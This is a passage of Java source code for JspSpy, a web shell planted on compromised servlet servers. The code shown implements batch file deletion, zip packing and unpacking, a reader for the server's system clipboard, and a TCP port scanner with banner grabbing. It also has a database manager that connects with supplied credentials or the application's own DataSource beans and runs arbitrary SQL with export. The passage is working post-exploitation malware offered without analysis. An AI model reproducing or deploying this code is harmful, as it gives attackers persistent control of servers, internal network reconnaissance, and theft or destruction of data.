  933.                                                                 + "             },"
  934.                                                                 + "             removedir:function() {"
  935.                                                                 + "                     if (!confirm('Dangerous ! Are You Sure To Delete '+this.filename+'?'))return;"
  936.                                                                 + "                     doPost({o:'removedir',dir:this.path});"
  937.                                                                 + "             },"
  938.                                                                 + "             mkdir:function() {"
  939.                                                                 + "                     var name = prompt('Input New Directory Name','');"
  940.                                                                 + "                     if (name == null || name.trim().length == 0)return;"
  941.                                                                 + "                     doPost({o:'mkdir',name:name});"
  942.                                                                 + "             },"
  943.                                                                 + "             subdir:function(out) {"
  944.                                                                 + "                     doPost({o:'filelist',folder:this.path,outentry:(out || 'none')})"
  945.                                                                 + "             },"
  946.                                                                 + "             parent:function() {"
  947.                                                                 + "                     var parent=(this.path.substr(0,this.path.lastIndexOf(\"/\")))+'/';"
  948.                                                                 + "                     doPost({o:'filelist',folder:parent})"
  949.                                                                 + "             },"
  950.                                                                 + "             createFile:function() {"
  951.                                                                 + "                     var path = prompt('Input New File Name','');"
  952.                                                                 + "                     if (path == null || path.trim().length == 0) return;"
  953.                                                                 + "                     doPost({o:'vCreateFile',filepath:path})"
  954.                                                                 + "             },"
  955.                                                                 + "             deleteBatch:function() {"
  956.                                                                 + "                     if (!confirm('Are You Sure To Delete These Files?')) return;"
  957.                                                                 + "                     var selected = new Array();"
  958.                                                                 + "                     var inputs = document.getElementsByTagName('input');"
  959.                                                                 + "                     for (var i = 0;i<inputs.length;i++){if(inputs[i].checked){selected.push(inputs[i].value)}}"
  960.                                                                 + "                     if (selected.length == 0) {alert('No File Selected');return;}"
  961.                                                                 + "                     doPost({o:'deleteBatch',files:selected.join(',')})"
  962.                                                                 + "             },"
  963.                                                                 + "             packBatch:function() {"
  964.                                                                 + "                     var selected = new Array();"
  965.                                                                 + "                     var inputs = document.getElementsByTagName('input');"
  966.                                                                 + "                     for (var i = 0;i<inputs.length;i++){if(inputs[i].checked){selected.push(inputs[i].value)}}"
  967.                                                                 + "                     if (selected.length == 0) {alert('No File Selected');return;}"
  968.                                                                 + "                     var savefilename = prompt('Input Target File Name(Only Support ZIP)','pack.zip');"
  969.                                                                 + "                     if (savefilename == null || savefilename.trim().length == 0)return;"
  970.                                                                 + "                     doPost({o:'packBatch',files:selected.join(','),savefilename:savefilename})"
  971.                                                                 + "             },"
  972.                                                                 + "             pack:function(showconfig) {"
  973.                                                                 + "                     if (showconfig && confirm('Need Pack Configuration?')) {doPost({o:'vPack',packedfile:this.path});return;}"
  974.                                                                 + "                     var tmpName = '';"
  975.                                                                 + "                     if (this.filename.indexOf('.') == -1) tmpName = this.filename;"
  976.                                                                 + "                     else tmpName = this.filename.substr(0,this.filename.lastIndexOf('.'));"
  977.                                                                 + "                     tmpName += '.zip';"
  978.                                                                 + "                     var path = this.path;"
  979.                                                                 + "                     var name = prompt('Input Target File Name (Only Support Zip)',tmpName);"
  980.                                                                 + "                     if (name == null || path.trim().length == 0) return;"
  981.                                                                 + "                     doPost({o:'pack',packedfile:path,savefilename:name})"
  982.                                                                 + "             },"
  983.                                                                 + "             vEditProperty:function() {"
  984.                                                                 + "                     var path = this.path;"
  985.                                                                 + "                     doPost({o:'vEditProperty',filepath:path})"
  986.                                                                 + "             },"
  987.                                                                 + "             unpack:function() {"
  988.                                                                 + "                     var path = prompt('unpack to : ',this.currentDir+'/'+this.filename.substr(0,this.filename.lastIndexOf('.')));"
  989.                                                                 + "                     if (path == null || path.trim().length == 0) return;"
  990.                                                                 + "                     doPost({o:'unpack',savepath:path,zipfile:this.path})"
  991.                                                                 + "             },"
  992.                                                                 + "             enter:function() {"
  993.                                                                 + "                     doPost({o:'enter',filepath:this.path})"
  994.                                                                 + "             }"
  995.                                                                 + "     };"
  996.                                                                 + "     function doPost(obj) {"
  997.                                                                 + "             var form = document.forms[\"doForm\"];"
  998.                                                                 + "             var elements = form.elements;for (var i = form.length - 1;i>=0;i--){form.removeChild(elements[i])}"
  999.                                                                 + "             for (var pro in obj)"
  1000.                                                                 + "             {"
  1001.                                                                 + "                     var input = document.createElement(\"input\");"
  1002.                                                                 + "                     input.type = \"hidden\";"
  1003.                                                                 + "                     input.name = pro;"
  1004.                                                                 + "                     input.value = obj[pro];"
  1005.                                                                 + "                     form.appendChild(input);"
  1006.                                                                 + "             }"
  1007.                                                                 + "             form.submit();" + "     }" + "</script>");
  1008.  
  1009.                         } catch (Exception e) {
  1010.  
  1011.                                 throw e;
  1012.                         }
  1013.                 }
  1014.         }
  1015.  
  1016.         private static class BeforeInvoker extends DefaultInvoker {
  1017.                 public void invoke(HttpServletRequest request,
  1018.                                 HttpServletResponse response, HttpSession JSession)
  1019.                                 throws Exception {
  1020.                         try {
  1021.                                 PrintWriter out = response.getWriter();
  1022.                                 out
  1023.                                                 .println("<html><head><title>JspSpy</title><style type=\"text/css\">"
  1024.                                                                 + "body,td{font: 12px Arial,Tahoma;line-height: 16px;}"
  1025.                                                                 + ".input{font:12px Arial,Tahoma;background:#fff;border: 1px solid #666;padding:2px;height:22px;}"
  1026.                                                                 + ".area{font:12px 'Courier New', Monospace;background:#fff;border: 1px solid #666;padding:2px;}"
  1027.                                                                 + ".bt {border-color:#b0b0b0;background:#3d3d3d;color:#ffffff;font:12px Arial,Tahoma;height:22px;}"
  1028.                                                                 + "a {color: #00f;text-decoration:underline;}"
  1029.                                                                 + "a:hover{color: #f00;text-decoration:none;}"
  1030.                                                                 + ".alt1 td{border-top:1px solid #fff;border-bottom:1px solid #ddd;background:#f1f1f1;padding:5px 10px 5px 5px;}"
  1031.                                                                 + ".alt2 td{border-top:1px solid #fff;border-bottom:1px solid #ddd;background:#f9f9f9;padding:5px 10px 5px 5px;}"
  1032.                                                                 + ".focus td{border-top:1px solid #fff;border-bottom:1px solid #ddd;background:#ffffaa;padding:5px 10px 5px 5px;}"
  1033.                                                                 + ".head td{border-top:1px solid #fff;border-bottom:1px solid #ddd;background:#e9e9e9;padding:5px 10px 5px 5px;font-weight:bold;}"
  1034.                                                                 + ".head td span{font-weight:normal;}"
  1035.                                                                 + "form{margin:0;padding:0;}"
  1036.                                                                 + "h2{margin:0;padding:0;height:24px;line-height:24px;font-size:14px;color:#5B686F;}"
  1037.                                                                 + "ul.info li{margin:0;color:#444;line-height:24px;height:24px;}"
  1038.                                                                 + "u{text-decoration: none;color:#777;float:left;display:block;width:150px;margin-right:10px;}"
  1039.                                                                 + ".secho{height:400px;width:100%;overflow:auto;border:none}"
  1040.                                                                 + "hr{border: 1px solid rgb(221, 221, 221); height: 0px;}"
  1041.                                                                 + "</style></head><body style=\"margin:0;table-layout:fixed; word-break:break-all\">");
  1042.                         } catch (Exception e) {
  1043.  
  1044.                                 throw e;
  1045.                         }
  1046.                 }
  1047.         }
  1048.  
  1049.         private static class AfterInvoker extends DefaultInvoker {
  1050.                 public void invoke(HttpServletRequest request,
  1051.                                 HttpServletResponse response, HttpSession JSession)
  1052.                                 throws Exception {
  1053.                         try {
  1054.                                 PrintWriter out = response.getWriter();
  1055.                                 out.println("</body></html>");
  1056.                         } catch (Exception e) {
  1057.  
  1058.                                 throw e;
  1059.                         }
  1060.                 }
  1061.         }
  1062.  
  1063.         private static class DeleteBatchInvoker extends DefaultInvoker {
  1064.                 public boolean doBefore() {
  1065.                         return false;
  1066.                 }
  1067.  
  1068.                 public boolean doAfter() {
  1069.                         return false;
  1070.                 }
  1071.  
  1072.                 public void invoke(HttpServletRequest request,
  1073.                                 HttpServletResponse response, HttpSession JSession)
  1074.                                 throws Exception {
  1075.                         try {
  1076.                                 String files = request.getParameter("files");
  1077.                                 int success = 0;
  1078.                                 int failed = 0;
  1079.                                 if (!Util.isEmpty(files)) {
  1080.                                         String currentDir = JSession.getAttribute(CURRENT_DIR)
  1081.                                                         .toString();
  1082.                                         String[] arr = files.split(",");
  1083.                                         for (int i = 0; i < arr.length; i++) {
  1084.                                                 String fs = arr[i];
  1085.                                                 File f = new File(currentDir, fs);
  1086.                                                 if (f.delete())
  1087.                                                         success += 1;
  1088.                                                 else
  1089.                                                         failed += 1;
  1090.                                         }
  1091.                                 }
  1092.                                 JSession
  1093.                                                 .setAttribute(
  1094.                                                                 MSG,
  1095.                                                                 success
  1096.                                                                                 + " Files Deleted <span style='color:green'>Success</span> , "
  1097.                                                                                 + failed
  1098.                                                                                 + " Files Deleted <span style='color:red'>Failed</span>!");
  1099.                                 response.sendRedirect(SHELL_NAME);
  1100.                         } catch (Exception e) {
  1101.  
  1102.                                 throw e;
  1103.                         }
  1104.                 }
  1105.         }
  1106.  
  1107.         private static class ClipBoardInvoker extends DefaultInvoker {
  1108.                 public void invoke(HttpServletRequest request,
  1109.                                 HttpServletResponse response, HttpSession JSession)
  1110.                                 throws Exception {
  1111.                         try {
  1112.                                 PrintWriter out = response.getWriter();
  1113.                                 out
  1114.                                                 .println("<table width=\"100%\" border=\"0\" cellpadding=\"15\" cellspacing=\"0\">"
  1115.                                                                 + "  <tr>"
  1116.                                                                 + "    <td>"
  1117.                                                                 + "        <h2>System Clipboard &raquo;</h2>"
  1118.                                                                 + "<p><pre>");
  1119.                                 try {
  1120.                                         out.println(Util.htmlEncode(Util.getStr(Toolkit
  1121.                                                         .getDefaultToolkit().getSystemClipboard()
  1122.                                                         .getContents(DataFlavor.stringFlavor)
  1123.                                                         .getTransferData(DataFlavor.stringFlavor))));
  1124.                                 } catch (Exception ex) {
  1125.                                         out.println("ClipBoard is Empty Or Is Not Text Data !");
  1126.                                 }
  1127.                                 out
  1128.                                                 .println("</pre>"
  1129.                                                                 + "          <input class=\"bt\" name=\"button\" id=\"button\" onClick=\"history.back()\" value=\"Back\" type=\"button\" size=\"100\"  />"
  1130.                                                                 + "        </p>" + "      </td>" + "  </tr>"
  1131.                                                                 + "</table>");
  1132.                         } catch (Exception e) {
  1133.  
  1134.                                 throw e;
  1135.                         }
  1136.                 }
  1137.         }
  1138.  
  1139.         private static class VPortScanInvoker extends DefaultInvoker {
  1140.                 public void invoke(HttpServletRequest request,
  1141.                                 HttpServletResponse response, HttpSession JSession)
  1142.                                 throws Exception {
  1143.                         try {
  1144.                                 PrintWriter out = response.getWriter();
  1145.                                 String ip = request.getParameter("ip");
  1146.                                 String ports = request.getParameter("ports");
  1147.                                 String timeout = request.getParameter("timeout");
  1148.                                 String banner = request.getParameter("banner");
  1149.                                 if (Util.isEmpty(ip))
  1150.                                         ip = "127.0.0.1";
  1151.                                 if (Util.isEmpty(ports))
  1152.                                         ports = "21,25,80,110,1433,1723,3306,3389,4899,5631,43958,65500";
  1153.                                 if (Util.isEmpty(timeout))
  1154.                                         timeout = "2";
  1155.                                 out
  1156.                                                 .println("<table width=\"100%\" border=\"0\" cellpadding=\"15\" cellspacing=\"0\"><tr><td>"
  1157.                                                                 + "<h2 id=\"Bin_H2_Title\">PortScan &gt;&gt;</h2>"
  1158.                                                                 + "<div id=\"YwLB\"><form action=\""
  1159.                                                                 + SHELL_NAME
  1160.                                                                 + "\" method=\"post\">"
  1161.                                                                 + "<p><input type=\"hidden\" value=\"portScan\" name=\"o\">"
  1162.                                                                 + "IP : <input name=\"ip\" type=\"text\" value=\""
  1163.                                                                 + ip
  1164.                                                                 + "\" id=\"ip\" class=\"input\" style=\"width:10%;margin:0 8px;\" /> Port : <input name=\"ports\" type=\"text\" value=\""
  1165.                                                                 + ports
  1166.                                                                 + "\" id=\"ports\" class=\"input\" style=\"width:40%;margin:0 8px;\" /> <input "
  1167.                                                                 + (!Util.isEmpty(banner) ? "checked" : "")
  1168.                                                                 + " type='checkbox' value='yes' name='banner'/>Banner Timeout  (Second) : <input name=\"timeout\" type=\"text\" value=\""
  1169.                                                                 + timeout
  1170.                                                                 + "\" id=\"timeout\" class=\"input\" size=\"5\" style=\"margin:0 8px;\" /> <input type=\"submit\" name=\"submit\" value=\"Scan\" id=\"submit\" class=\"bt\" />"
  1171.                                                                 + "</p>"
  1172.                                                                 + "</form></div>"
  1173.                                                                 + "</td></tr></table>");
  1174.                         } catch (Exception e) {
  1175.  
  1176.                                 throw e;
  1177.                         }
  1178.                 }
  1179.         }
  1180.  
  1181.         private static class PortScanInvoker extends DefaultInvoker {
  1182.                 public void invoke(HttpServletRequest request,
  1183.                                 HttpServletResponse response, HttpSession JSession)
  1184.                                 throws Exception {
  1185.                         try {
  1186.                                 PrintWriter out = response.getWriter();
  1187.                                 ((Invoker) ins.get("vPortScan")).invoke(request, response,
  1188.                                                 JSession);
  1189.                                 out.println("<hr/>");
  1190.                                 String ip = request.getParameter("ip");
  1191.                                 String ports = request.getParameter("ports");
  1192.                                 String timeout = request.getParameter("timeout");
  1193.                                 String banner = request.getParameter("banner");
  1194.                                 int iTimeout = 0;
  1195.                                 if (Util.isEmpty(ip) || Util.isEmpty(ports))
  1196.                                         return;
  1197.                                 if (!Util.isInteger(timeout)) {
  1198.                                         timeout = "2";
  1199.                                 }
  1200.                                 iTimeout = Integer.parseInt(timeout);
  1201.                                 Map rs = new LinkedHashMap();
  1202.                                 String[] portArr = ports.split(",");
  1203.                                 for (int i = 0; i < portArr.length; i++) {
  1204.                                         String port = portArr[i];
  1205.                                         BufferedReader r = null;
  1206.                                         try {
  1207.                                                 Socket s = new Socket();
  1208.                                                 s.connect(new InetSocketAddress(ip, Integer
  1209.                                                                 .parseInt(port)), iTimeout);
  1210.                                                 s.setSoTimeout(iTimeout);
  1211.                                                 if (!Util.isEmpty(banner)) {
  1212.                                                         r = new BufferedReader(new InputStreamReader(s
  1213.                                                                         .getInputStream()));
  1214.                                                         StringBuffer sb = new StringBuffer();
  1215.                                                         String b = r.readLine();
  1216.                                                         while (b != null) {
  1217.                                                                 sb.append(b + " ");
  1218.                                                                 try {
  1219.                                                                         b = r.readLine();
  1220.                                                                 } catch (Exception e) {
  1221.                                                                         break;
  1222.                                                                 }
  1223.                                                         }
  1224.                                                         rs.put(port,
  1225.                                                                         "Open <span style=\"color:grey;font-weight:normal\">"
  1226.                                                                                         + sb.toString() + "</span>");
  1227.                                                         r.close();
  1228.                                                 } else {
  1229.                                                         rs.put(port, "Open");
  1230.                                                 }
  1231.                                                 s.close();
  1232.                                         } catch (Exception e) {
  1233.                                                 if (e.toString().toLowerCase()
  1234.                                                                 .indexOf("read timed out") != -1) {
  1235.                                                         rs
  1236.                                                                         .put(
  1237.                                                                                         port,
  1238.                                                                                         "Open <span style=\"color:grey;font-weight:normal\">&lt;&lt;No Banner!&gt;&gt;</span>");
  1239.                                                         if (r != null)
  1240.                                                                 r.close();
  1241.                                                 } else {
  1242.                                                         rs.put(port, "Close");
  1243.                                                 }
  1244.                                         }
  1245.                                 }
  1246.                                 out.println("<div style='margin:10px'>");
  1247.                                 Set entrySet = rs.entrySet();
  1248.                                 Iterator it = entrySet.iterator();
  1249.                                 while (it.hasNext()) {
  1250.                                         Map.Entry e = (Map.Entry) it.next();
  1251.                                         String port = (String) e.getKey();
  1252.                                         String value = (String) e.getValue();
  1253.                                         out.println(ip + " : " + port
  1254.                                                         + " ................................. <font color="
  1255.                                                         + (value.equals("Close") ? "red" : "green")
  1256.                                                         + "><b>" + value + "</b></font><br>");
  1257.                                 }
  1258.                                 out.println("</div>");
  1259.                         } catch (Exception e) {
  1260.  
  1261.                                 throw e;
  1262.                         }
  1263.                 }
  1264.         }
  1265.  
  1266.         private static class VConnInvoker extends DefaultInvoker {
  1267.                 public void invoke(HttpServletRequest request,
  1268.                                 HttpServletResponse response, HttpSession JSession)
  1269.                                 throws Exception {
  1270.                         try {
  1271.                                 PrintWriter out = response.getWriter();
  1272.                                 Object obj = JSession.getAttribute(DBO);
  1273.                                 if (obj == null || !((DBOperator) obj).isValid()) {
  1274.                                         out
  1275.                                                         .println("  <script type=\"text/javascript\">"
  1276.                                                                         + "     function changeurldriver(){"
  1277.                                                                         + "             var form = document.forms[\"form1\"];"
  1278.                                                                         + "             var v = form.elements[\"db\"].value;"
  1279.                                                                         + "             form.elements[\"url\"].value = v.split(\"`\")[1];"
  1280.                                                                         + "             form.elements[\"driver\"].value = v.split(\"`\")[0];"
  1281.                                                                         + "             form.elements[\"selectDb\"].value = form.elements[\"db\"].selectedIndex;"
  1282.                                                                         + "     }" + "  </script>");
  1283.                                         out
  1284.                                                         .println("<table width=\"100%\" border=\"0\" cellpadding=\"15\" cellspacing=\"0\"><tr><td>"
  1285.                                                                         + "<form name=\"form1\" id=\"form1\" action=\""
  1286.                                                                         + SHELL_NAME
  1287.                                                                         + "\" method=\"post\" >"
  1288.                                                                         + "<input type=\"hidden\" id=\"selectDb\" name=\"selectDb\" value=\"0\">"
  1289.                                                                         + "<h2>DataBase Manager &raquo;</h2>"
  1290.                                                                         + "<input id=\"action\" type=\"hidden\" name=\"o\" value=\"dbc\" />"
  1291.                                                                         + "<p>"
  1292.                                                                         + "DataSource:"
  1293.                                                                         + "  <input class=\"input\" name=\"dataSource\" id=\"dataSource\" type=\"text\" style=\"width:80px;\"  />"
  1294.                                                                         + "Driver:"
  1295.                                                                         + "  <input class=\"input\" name=\"driver\" id=\"driver\" type=\"text\" size=\"35\"  />"
  1296.                                                                         + "URL:"
  1297.                                                                         + "<input class=\"input\" name=\"url\" id=\"url\" value=\"\" type=\"text\" size=\"90\"  />"
  1298.                                                                         + "UID:"
  1299.                                                                         + "<input class=\"input\" name=\"uid\" id=\"uid\" value=\"\" type=\"text\" size=\"10\"  />"
  1300.                                                                         + "PWD:"
  1301.                                                                         + "<input class=\"input\" name=\"pwd\" id=\"pwd\" value=\"\" type=\"text\" size=\"10\"  />"
  1302.                                                                         + "DataBase:"
  1303.                                                                         + " <select onchange='changeurldriver()' class=\"input\" id=\"db\" name=\"db\" >"
  1304.                                                                         + " <option value='com.mysql.jdbc.Driver`jdbc:mysql://localhost:3306/mysql?useUnicode=true&characterEncoding=GBK'>Mysql</option>"
  1305.                                                                         + " <option value='oracle.jdbc.driver.OracleDriver`jdbc:oracle:thin:@dbhost:1521:ORA1'>Oracle</option>"
  1306.                                                                         + " <option value='com.microsoft.jdbc.sqlserver.SQLServerDriver`jdbc:microsoft:sqlserver://localhost:1433;DatabaseName=master'>Sql Server</option>"
  1307.                                                                         + " <option value='sun.jdbc.odbc.JdbcOdbcDriver`jdbc:odbc:Driver={Microsoft Access Driver (*.mdb)};DBQ=C:\\ninty.mdb'>Access</option>"
  1308.                                                                         + " <option value=' ` '>Other</option>"
  1309.                                                                         + " </select>"
  1310.                                                                         + "<input class=\"bt\" name=\"connect\" id=\"connect\" value=\"Connect\" type=\"submit\" size=\"100\"  />"
  1311.                                                                         + "</p>"
  1312.                                                                         + "</form></table><script>changeurldriver()</script>");
  1313.                                 } else {
  1314.                                         ((Invoker) ins.get("dbc")).invoke(request, response,
  1315.                                                         JSession);
  1316.                                 }
  1317.                         } catch (ClassCastException e) {
  1318.                                 throw e;
  1319.                         } catch (Exception e) {
  1320.  
  1321.                                 throw e;
  1322.                         }
  1323.                 }
  1324.         }
  1325.  
  1326.         //DBConnect
  1327.         private static class DbcInvoker extends DefaultInvoker {
  1328.                 public void invoke(HttpServletRequest request,
  1329.                                 HttpServletResponse response, HttpSession JSession)
  1330.                                 throws Exception {
  1331.                         try {
  1332.                                 PrintWriter out = response.getWriter();
  1333.                                 String driver = request.getParameter("driver");
  1334.                                 String url = request.getParameter("url");
  1335.                                 String uid = request.getParameter("uid");
  1336.                                 String pwd = request.getParameter("pwd");
  1337.                                 String sql = request.getParameter("sql");
  1338.                                 String dataSource = request.getParameter("dataSource");
  1339.                                 String selectDb = request.getParameter("selectDb");
  1340.                                 if (selectDb == null)
  1341.                                         selectDb = JSession.getAttribute("selectDb").toString();
  1342.                                 else
  1343.                                         JSession.setAttribute("selectDb", selectDb);
  1344.                                 Object dbo = JSession.getAttribute(DBO);
  1345.                                 if (dbo == null || !((DBOperator) dbo).isValid()) {
  1346.                                         if (dbo != null)
  1347.                                                 ((DBOperator) dbo).close();
  1348.                                         if(!Util.isEmpty(dataSource)){
  1349.                                                 WebApplicationContext appContext = WebApplicationContextUtils.getWebApplicationContext(JSession.getServletContext());
  1350.                                                 DataSource dsObj = (DataSource) appContext.getBean(dataSource);
  1351.                                                 dbo = new DBOperator(dsObj,dataSource,true);
  1352.                                         }else{
  1353.                                                 dbo = new DBOperator(driver,url,uid,pwd,true);
  1354.                                         }
  1355.                                 } else {
  1356.                                         if (!Util.isEmpty(dataSource) || (!Util.isEmpty(driver) && !Util.isEmpty(url) && !Util.isEmpty(uid))) {
  1357.                                                 DBOperator oldDbo = (DBOperator)dbo;
  1358.                                                 if(!Util.isEmpty(dataSource)){
  1359.                                                         WebApplicationContext appContext = WebApplicationContextUtils.getWebApplicationContext(JSession.getServletContext());
  1360.                                                         DataSource dsObj = (DataSource) appContext.getBean(dataSource);
  1361.                                                         dbo = new DBOperator(dsObj,dataSource,false);
  1362.                                                 }else{
  1363.                                                         dbo = new DBOperator(driver,url,uid,pwd);
  1364.                                                 }
  1365.                                                 if (!oldDbo.equals(dbo)) {
  1366.                                                         ((DBOperator)oldDbo).close();
  1367.                                                         ((DBOperator)dbo).connect();
  1368.                                                 } else {
  1369.                                                         dbo = oldDbo;
  1370.                                                 }
  1371.                                         }
  1372.                                 }
  1373.                                 DBOperator Ddbo = (DBOperator) dbo;
  1374.                                 JSession.setAttribute(DBO, Ddbo);
  1375.                                 if (!Util.isEmpty(request.getParameter("type"))
  1376.                                                 && request.getParameter("type").equals("switch")) {
  1377.                                         Ddbo.getConn().setCatalog(request.getParameter("catalog"));
  1378.                                 }
  1379.                                 Util.outMsg(out, "Connect To DataBase Success!");
  1380.                                 out
  1381.                                                 .println("  <script type=\"text/javascript\">"
  1382.                                                                 + "     function changeurldriver(selectDb){"
  1383.                                                                 + "             var form = document.forms[\"form1\"];"
  1384.                                                                 + "             if (selectDb){"
  1385.                                                                 + "                     form.elements[\"db\"].selectedIndex = selectDb"
  1386.                                                                 + "             }"
  1387.                                                                 + "             var v = form.elements[\"db\"].value;"
  1388.                                                                 + "             form.elements[\"url\"].value = v.split(\"`\")[1];"
  1389.                                                                 + "             form.elements[\"driver\"].value = v.split(\"`\")[0];"
  1390.                                                                 + "             form.elements[\"selectDb\"].value = form.elements[\"db\"].selectedIndex;"
  1391.                                                                 + "     }" + "  </script>");
  1392.                                 out
  1393.                                                 .println("<table width=\"100%\" border=\"0\" cellpadding=\"15\" cellspacing=\"0\"><tr><td>"
  1394.                                                                 + "<form name=\"form1\" id=\"form1\" action=\""
  1395.                                                                 + SHELL_NAME
  1396.                                                                 + "\" method=\"post\" >"
  1397.                                                                 + "<input type=\"hidden\" id=\"selectDb\" name=\"selectDb\" value=\""
  1398.                                                                 + selectDb
  1399.                                                                 + "\">"
  1400.                                                                 + "<h2>DataBase Manager &raquo;</h2>"
  1401.                                                                 + "<input id=\"action\" type=\"hidden\" name=\"o\" value=\"dbc\" />"
  1402.                                                                 + "<p>"
  1403.                                                                 + "DataSource:"
  1404.                                                                 + "  <input class=\"input\" name=\"dataSource\" value=\""+((Ddbo.dsStr==null)?"":Ddbo.dsStr)+"\" id=\"dataSource\" type=\"text\" style=\"width:80px;\"  />"
  1405.                                                                 + "Driver:"
  1406.                                                                 + "  <input class=\"input\" name=\"driver\" value=\""
  1407.                                                                 + Ddbo.driver
  1408.                                                                 + "\" id=\"driver\" type=\"text\" size=\"35\"  />"
  1409.                                                                 + "URL:"
  1410.                                                                 + "<input class=\"input\" name=\"url\" value=\""
  1411.                                                                 + Ddbo.url
  1412.                                                                 + "\" id=\"url\" value=\"\" type=\"text\" size=\"90\"  />"
  1413.                                                                 + "UID:"
  1414.                                                                 + "<input class=\"input\" name=\"uid\" value=\""
  1415.                                                                 + Ddbo.uid
  1416.                                                                 + "\" id=\"uid\" value=\"\" type=\"text\" size=\"10\"  />"
  1417.                                                                 + "PWD:"
  1418.                                                                 + "<input class=\"input\" name=\"pwd\" value=\""
  1419.                                                                 + Ddbo.pwd
  1420.                                                                 + "\" id=\"pwd\" value=\"\" type=\"text\" size=\"10\"  />"
  1421.                                                                 + "DataBase:"
  1422.                                                                 + " <select onchange='changeurldriver()' class=\"input\" id=\"db\" name=\"db\" >"
  1423.                                                                 + " <option value='com.mysql.jdbc.Driver`jdbc:mysql://localhost:3306/mysql?useUnicode=true&characterEncoding=GBK'>Mysql</option>"
  1424.                                                                 + " <option value='oracle.jdbc.driver.OracleDriver`jdbc:oracle:thin:@dbhost:1521:ORA1'>Oracle</option>"
  1425.                                                                 + " <option value='com.microsoft.jdbc.sqlserver.SQLServerDriver`jdbc:microsoft:sqlserver://localhost:1433;DatabaseName=master'>Sql Server</option>"
  1426.                                                                 + " <option value='sun.jdbc.odbc.JdbcOdbcDriver`jdbc:odbc:Driver={Microsoft Access Driver (*.mdb)};DBQ=C:/ninty.mdb'>Access</option>"
  1427.                                                                 + " <option value=' ` '>Other</option>"
  1428.                                                                 + " </select>"
  1429.                                                                 + "<input class=\"bt\" name=\"connect\" id=\"connect\" value=\"Connect\" type=\"submit\" size=\"100\"  />"
  1430.                                                                 + "</p>"
  1431.                                                                 + "</form><script>changeurldriver('"
  1432.                                                                 + selectDb + "')</script>");
  1433.                                 DatabaseMetaData meta = Ddbo.getConn().getMetaData();
  1434.                                 out
  1435.                                                 .println("<form action=\""
  1436.                                                                 + SHELL_NAME
  1437.                                                                 + "\" method=\"POST\">"
  1438.                                                                 + "<p><input type=\"hidden\" name=\"selectDb\" value=\""
  1439.                                                                 + selectDb
  1440.                                                                 + "\"><input type=\"hidden\" name=\"o\" value=\"executesql\"><table width=\"200\" border=\"0\" cellpadding=\"0\" cellspacing=\"0\"><tr><td colspan=\"2\">Version : <b style='color:red;font-size:14px'><i>"
  1441.                                                                 + meta.getDatabaseProductName()
  1442.                                                                 + " , "
  1443.                                                                 + meta.getDatabaseProductVersion()
  1444.                                                                 + "</i></b><br/>URL : <b style='color:red;font-size:14px'><i>"
  1445.                                                                 + meta.getURL()
  1446.                                                                 + "</i></b><br/>Catalog : <b style='color:red;font-size:14px'><i>"
  1447.                                                                 + Ddbo.getConn().getCatalog()
  1448.                                                                 + "</i></b><br/>UserName : <b style='color:red;font-size:14px'><i>"
  1449.                                                                 + meta.getUserName()
  1450.                                                                 + "</i></b><br/><br/></td></tr><tr><td colspan=\"2\">Run SQL query/queries on database / <b><i>Switch Database :</i></b> ");
  1451.                                 out
  1452.                                                 .println("<select id=\"catalogs\" onchange=\"if (this.value == '0') return;doPost({o:'executesql',type:'switch',catalog:document.getElementById('catalogs').value})\">");
  1453.                                 out
  1454.                                                 .println("<option value='0'>-- Select a DataBase --</option>");
  1455.                                 ResultSet dbs = meta.getCatalogs();
  1456.                                 try {
  1457.                                         while (dbs.next()) {
  1458.                                                 out.println("<option value='" + dbs.getString(1) + "'>"
  1459.                                                                 + dbs.getString(1) + "</option>");
  1460.                                         }
  1461.                                 } catch (Exception ex) {
  1462.                                 }
  1463.                                 dbs.close();
  1464.                                 out
  1465.                                                 .println("</select></td></tr><tr><td><textarea id=\"sql\" name=\"sql\" class=\"area\" style=\"width:600px;height:50px;overflow:auto;\">"
  1466.                                                                 + Util.htmlEncode(Util.getStr(sql))
  1467.                                                                 + "</textarea><input class=\"bt\" name=\"submit\" type=\"submit\" value=\"Query\" /> <input class=\"bt\" onclick=\"doPost({o:'export',type:'queryexp',sql:document.getElementById('sql').value})\" type=\"button\" value=\"Export\" /> <input type='button' value='Export To File' class='bt' onclick=\"doPost({o:'vExport',type:'queryexp',sql:document.getElementById('sql').value})\"></td><td nowrap style=\"padding:0 5px;\"></td></tr></table></p></form></table>");
  1468.                                 if (Util.isEmpty(sql)) {
  1469.                                         String type = request.getParameter("type");
  1470.                                         if (Util.isEmpty(type) || type.equals("switch")) {
  1471.                                                 ResultSet tbs = meta.getTables(null, null, null, null);
  1472.                                                 out.println(Table.rs2Table(tbs, meta
  1473.                                                                 .getIdentifierQuoteString(), true));
  1474.                                                 tbs.close();
  1475.                                         } else if (type.equals("struct")) {
  1476.                                                 String tb = request.getParameter("table");
  1477.                                                 if (Util.isEmpty(tb))
  1478.                                                         return;
  1479.                                                 ResultSet t = meta.getColumns(null, null, tb, null);
  1480.                                                 out.println(Table.rs2Table(t, "", false));
  1481.                                                 t.close();
  1482.                                         }
  1483.                                 }
  1484.                         } catch (Exception e) {
  1485.                                 JSession
  1486.                                                 .setAttribute(
  1487.                                                                 MSG,
  1488.                                                                 "<span style='color:red'>Some Error Occurred. Please Check Out the StackTrace Follow.</span>"
  1489.                                                                                 + BACK_HREF);
  1490.                                 throw e;
  1491.                         }
  1492.                 }
  1493.         }
  1494.  
  1495.         private static class ExecuteSQLInvoker extends DefaultInvoker {
  1496.                 public void invoke(HttpServletRequest request,
  1497.                                 HttpServletResponse response, HttpSession JSession)
  1498.                                 throws Exception {
  1499.                         try {
  1500.                                 PrintWriter out = response.getWriter();
  1501.                                 String sql = request.getParameter("sql");
  1502.                                 String db = request.getParameter("selectDb");
  1503.                                 Object dbo = JSession.getAttribute(DBO);
  1504.                                 if (!Util.isEmpty(sql)) {
  1505.                                         if (dbo == null || !((DBOperator) dbo).isValid()) {
  1506.                                                 ((Invoker) ins.get("vConn")).invoke(request, response,
  1507.                                                                 JSession);
  1508.                                                 return;
  1509.                                         } else {
  1510.                                                 ((Invoker) ins.get("dbc")).invoke(request, response,
  1511.                                                                 JSession);
  1512.                                                 Object obj = ((DBOperator) dbo).execute(sql);
  1513.                                                 if (obj instanceof ResultSet) {
  1514.                                                         ResultSet rs = (ResultSet) obj;
  1515.                                                         ResultSetMetaData meta = rs.getMetaData();
  1516.                                                         int colCount = meta.getColumnCount();
  1517.                                                         out
  1518.                                                                         .println("<b style=\"margin-left:15px\">Query#0 : "
  1519.                                                                                         + Util.htmlEncode(sql)
  1520.                                                                                         + "</b><br/><br/>");
